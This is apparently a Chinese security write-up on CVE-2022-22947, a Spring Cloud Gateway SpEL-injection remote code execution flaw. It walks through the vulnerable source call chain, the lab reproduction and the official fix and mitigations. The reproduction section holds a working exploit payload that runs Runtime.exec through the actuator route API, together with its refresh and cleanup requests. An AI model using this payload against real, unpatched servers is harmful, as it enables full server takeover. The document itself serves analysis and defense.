漏洞概述 CVE-2022-22947 是 Spring Cloud Gateway 中的一个高危远程代码执行(RCE)漏洞,CVSSv3 评分为 10.0 (最高危)。该漏洞允许攻击者通过构造恶意 SpEL(Spring Expression Language)表达式,在启用并暴露 Actuator 端点的网关服务上执行任意命令,完全控制目标服务器。
影响版本 :
Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway 3.0.x < 3.0.7
其他不受支持的旧版本。
技术细节分析 1. 漏洞成因
SpEL 表达式注入 Spring Cloud Gateway 的 ShortcutConfigurable
接口在处理路由过滤器参数时,使用 StandardEvaluationContext
解析用户输入的参数值。攻击者可通过 AddResponseHeader
等过滤器的 value
字段注入恶意 SpEL 表达式(如 T(java.lang.Runtime).exec("calc")
),触发远程代码执行。
Actuator 端点暴露 若应用程序配置启用了 management.endpoint.gateway.enabled=true
并对外暴露 /actuator/gateway
接口(如 management.endpoints.web.exposure.include=gateway
),攻击者可通过该接口动态添加恶意路由。
2. 源码分析 漏洞入口点 漏洞的核心入口点是 /actuator/gateway/routes/{id}
接口,攻击者通过此接口添加包含恶意 SpEL 表达式的路由配置。以下从请求处理到表达式执行的完整调用链分析:
1. 路由添加请求处理(入口点) 代码位置 :org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint#save
触发条件 :用户发送 POST 请求到 /actuator/gateway/routes/{id}
,携带恶意路由配置。关键逻辑 :
1 2 3 4 5 6 7 8 9 10 11 12 @PostMapping("/routes/{id}") @SuppressWarnings("unchecked") public Mono<ResponseEntity<Object>> save (@PathVariable String id, @RequestBody RouteDefinition route) { return Mono.just(route).doOnNext(this ::validateRouteDefinition) .flatMap(routeDefinition -> this .routeDefinitionWriter.save(Mono.just(routeDefinition).map(r -> { r.setId(id); log.debug("Saving route: " + route); return r; })).then(Mono.defer(() -> Mono.just(ResponseEntity.created(URI.create("/routes/" + id)).build())))) .switchIfEmpty(Mono.defer(() -> Mono.just(ResponseEntity.badRequest().build()))); }
作用 :接收并保存用户定义的路由配置,其中包含恶意过滤器参数。
2. 路由配置加载 代码位置 :org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#loadGatewayFilters
触发条件 :调用 /actuator/gateway/refresh
刷新路由后,系统加载所有路由配置。关键逻辑 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 @SuppressWarnings("unchecked") List<GatewayFilter> loadGatewayFilters (String id, List<FilterDefinition> filterDefinitions) { ArrayList<GatewayFilter> ordered = new ArrayList <>(filterDefinitions.size()); for (int i = 0 ; i < filterDefinitions.size(); i++) { FilterDefinition definition = filterDefinitions.get(i); GatewayFilterFactory factory = this .gatewayFilterFactories.get(definition.getName()); if (factory == null ) { throw new IllegalArgumentException ( "Unable to find GatewayFilterFactory with name " + definition.getName()); } if (logger.isDebugEnabled()) { logger.debug("RouteDefinition " + id + " applying filter " + definition.getArgs() + " to " + definition.getName()); } Object configuration = this .configurationService.with(factory) .name(definition.getName()) .properties(definition.getArgs()) .eventFunction((bound, properties) -> new FilterArgsEvent ( RouteDefinitionRouteLocator.this , id, (Map<String, Object>) properties)) .bind(); if (configuration instanceof HasRouteId) { HasRouteId hasRouteId = (HasRouteId) configuration; hasRouteId.setRouteId(id); } GatewayFilter gatewayFilter = factory.apply(configuration); if (gatewayFilter instanceof Ordered) { ordered.add(gatewayFilter); } else { ordered.add(new OrderedGatewayFilter (gatewayFilter, i + 1 )); } } return ordered; }
作用 :解析路由配置中的过滤器参数(args
),调用 bind
方法进行参数绑定。
3.bind
方法调用 normalizeProperties()
代码位置 :org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#bind
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public T bind () { validate(); Assert.hasText(this .name, "name may not be empty" ); Assert.isTrue(this .properties != null || this .normalizedProperties != null , "properties and normalizedProperties both may not be null" ); if (this .normalizedProperties == null ) { this .normalizedProperties = normalizeProperties(); } T bound = doBind(); if (this .eventFunction != null && this .service.publisher != null ) { ApplicationEvent applicationEvent = this .eventFunction.apply(bound, this .normalizedProperties); this .service.publisher.publishEvent(applicationEvent); } return bound; }
4. 参数绑定与规范化 代码位置 :org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normalizeProperties
触发条件 :绑定过滤器参数时,对参数值进行规范化处理。关键逻辑 :
1 2 3 4 5 6 7 8 @Override protected Map<String, Object> normalizeProperties () { if (this .service.beanFactory != null ) { return this .configurable.shortcutType().normalize(this .properties, this .configurable, this .service.parser, this .service.beanFactory); } return super .normalizeProperties(); }
作用 :遍历参数键值对,调用 ShortcutType.normalize
方法处理 value
字段。
4. 表达式解析与执行 代码位置 :org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue
漏洞触发点 :解析用户输入的 SpEL 表达式。关键代码 (漏洞版本):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 static Object getValue (SpelExpressionParser parser, BeanFactory beanFactory, String entryValue) { Object value; String rawValue = entryValue; if (rawValue != null ) { rawValue = rawValue.trim(); } if (rawValue != null && rawValue.startsWith("#{" ) && entryValue.endsWith("}" )) { StandardEvaluationContext context = new StandardEvaluationContext (); context.setBeanResolver(new BeanFactoryResolver (beanFactory)); Expression expression = parser.parseExpression(entryValue, new TemplateParserContext ()); value = expression.getValue(context); } else { value = entryValue; } return value; }
问题分析 :
**StandardEvaluationContext
**:允许执行任意 Java 方法(如 Runtime.exec()
)。
用户输入可控 :entryValue
直接来自请求参数(如 AddResponseHeader
过滤器的 value
字段)。
5. 完整调用链 1 2 3 4 5 6 7 8 9 10 1. 用户发送恶意路由配置(POST /actuator/gateway/routes/{id}) ↳ 触发 AbstractGatewayControllerEndpoint#save 2. 刷新路由(POST /actuator/gateway/refresh) ↳ 触发 RouteDefinitionRouteLocator#loadGatewayFilters 3. 加载过滤器配置 ↳ 调用 ConfigurationService.ConfigurableBuilder#bind 4. 参数规范化 ↳ 调用 ShortcutConfigurable.ShortcutType#normalize 5. 表达式解析与执行 ↳ 调用 ShortcutConfigurable#getValue(使用 StandardEvaluationContext)
漏洞复现步骤 1. 环境搭建 使用 Vulhub 快速搭建漏洞环境:
访问 http://目标IP:8080
确认服务正常。
2. 攻击流程
创建恶意路由 :1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /actuator/gateway/routes/test HTTP/1.1 Host : target:8080Content-Type : application/json{ "id" : "test" , "filters" : [{ "name" : "AddResponseHeader" , "args" : { "name" : "Result" , "value" : "#{new String (T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"whoami\").getInputStream())}" } }], " uri": " http://example.com" }
关键字段 :value
中的 SpEL 表达式执行 whoami
命令。
刷新路由 :1 2 POST /actuator/gateway/refresh HTTP/1.1 Host : target:8080
触发命令执行 :1 2 GET /actuator/gateway/routes/test HTTP/1.1 Host : target:8080
响应示例 :"Result": "root\n"
,确认命令执行成功。
清理痕迹 :1 2 DELETE /actuator/gateway/routes/test HTTP/1.1 Host : target:8080
修复方案 1. 官方修复
升级版本 :
3.1.x 用户升级至 3.1.1+
3.0.x 用户升级至 3.0.7+ 修复代码中,StandardEvaluationContext
被替换为 GatewayEvaluationContext
(基于 SimpleEvaluationContext
),限制 SpEL 表达式功能。
2. 临时缓解
禁用 Actuator 端点 : 在 application.properties
中配置:1 2 management.endpoint.gateway.enabled =false management.endpoints.web.exposure.include =health,info
网络隔离 :限制 /actuator
端口的访问来源,仅允许内网 IP。
3. 安全加固
启用 Spring Security :对 Actuator 接口进行身份认证和权限控制。
输入过滤 :自定义过滤器拦截包含 T()
、Runtime
等关键字的参数。
总结 CVE-2022-22947 的根源在于 Spring Cloud Gateway 对用户输入的高度信任与高危上下文的结合。其修复方案通过限制表达式执行权限,显著降低了攻击面。开发者应遵循以下安全实践:
最小化暴露 :避免对外暴露敏感接口。
持续更新 :及时应用框架安全补丁。
纵深防御 :结合网络隔离与代码层校验,防范类似漏洞。
参考链接
CVE-2022-22947 漏洞复现与分析(简书)
Spring 官方安全公告(VMware)
漏洞修复 Commit 记录(GitHub)
FreeBuf 技术分析
Vulhub 复现环境
CVE-2022-22947